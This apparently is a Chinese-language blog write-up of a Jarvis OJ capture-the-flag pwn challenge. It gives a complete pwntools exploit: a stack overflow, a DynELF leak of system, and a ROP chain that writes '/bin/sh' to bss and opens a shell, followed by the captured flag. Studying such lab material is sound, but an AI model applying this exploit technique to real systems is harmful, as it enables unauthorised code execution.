pwn无法入门4|leak

Author Avatar
Aryb1n 5月 05, 2017

做这个题目

题目地址: https://dn.jarvisoj.com/challengefiles/level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0

描述: nc pwn2.jarvisoj.com 9880

pwn入门

ida看一下有一个read(0, &buf, 0x100u);
checksec一下

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

就开启了NX
这题好像是顺着蒸米的一步步x64那个leak来的
因为没有libc,所以要leak出system,并且在bss段上构造/bin/sh

先gdb一下

gdb-peda$ pattern offset 0x41416d41
1094806849 found at offset: 140

readelf -S找到bss

[25] .bss              NOBITS          0804a024

mark下 bss_addr = 0x0804a024

在执行完read之后我们要执行system('/bin/sh'),read的参数是三个
所以为了平衡堆栈,我们找到pop pop pop ret这样的gadget
objdump -D pwnfile | cat -n | grep pop
=> cat -n是对输出输出的行从1开始编号,可以看得出是不是相邻的指令

...
425     8048508:    5b                       pop    %ebx
426     8048509:    5e                       pop    %esi
427     804850a:    5f                       pop    %edi
428     804850b:    5d                       pop    %ebp
...

好了一下找到了4个就可以构造rop了,(一般就是某个函数在返回前要恢复现场时候的pop数次+ret)

payload:

from pwn import *

# p = process('./level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0')
p = remote('pwn2.jarvisoj.com',9880)

vuln_addr = 0x0804844B
pppr_addr = 0x08048509 #pop pop pop ret
bss_addr  = 0x0804a024

elf = ELF('./level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0')
plt_read = elf.symbols['read']
plt_write = elf.symbols['write']

def leak(address):
    payload1 = 'A' * 140 + p32(plt_write) + p32(vuln_addr) + p32(1) + p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    print "[-] %#x => %s" % (address, (data or '').encode('hex'))
    return data

d = DynELF(leak, elf=ELF('./level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0')) # important

system_addr = d.lookup('system', 'libc') # leak addr of system~~
print "[+] get the addr of system"

payload2 = 'a' * 140 + p32(plt_read) + p32(pppr_addr) + p32(0) + p32(bss_addr) + p32(8) # read(1, bss_addr, 8) ret to `pop pop pop ret`
payload2 += p32(system_addr) + p32(vuln_addr) + p32(bss_addr) # system('/bin/sh') ret to vulnfunction

p.send(payload2)
p.send('/bin/sh\0')
p.interactive()

拿到flag

$ ls
flag
level4
$ cat flag
CTF{882130cf51d65fb705440b218e94e98e}
$ exit

还有一个

我本地始终无法复现,真是崩溃TAT
无论是直接process还是用socat,poc一跑就会出现

exited on signal 11

之类的错误

看到了关于DynELF的相关

muhe 的 what DynELF does basicallyhttp://o0xmuhe.me/2016/12/24/what-DynELF-does-basically/
mark 一下 认真学习一下